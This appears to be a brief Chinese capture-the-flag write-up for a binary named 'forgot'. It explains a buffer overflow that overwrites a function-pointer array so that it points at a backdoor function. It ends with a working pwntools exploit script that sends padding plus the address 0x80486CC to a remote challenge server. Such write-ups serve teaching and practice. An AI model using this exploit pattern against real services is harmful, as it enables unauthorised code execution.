代码流程
溢出位置
可利用的地址, v3相当于一个函数数组,v14是数组的角标
v3数组的内容
我们想办法覆盖第一个函数,并确保v14的值不会改变 0x80486CC为预留的后门函数,覆盖v3为 0x80486CC即可
from pwn import * #context.log_level = 'debug' r = remote("220.249.52.133", 54899) #r = process("./forgot") r.recvuntil("What is your name?") r.sendline("1") r.recvuntil("Enter the string to be validate") r.sendline("A"*(0x74-0x54)+p32(0x80486CC)) r.interactive()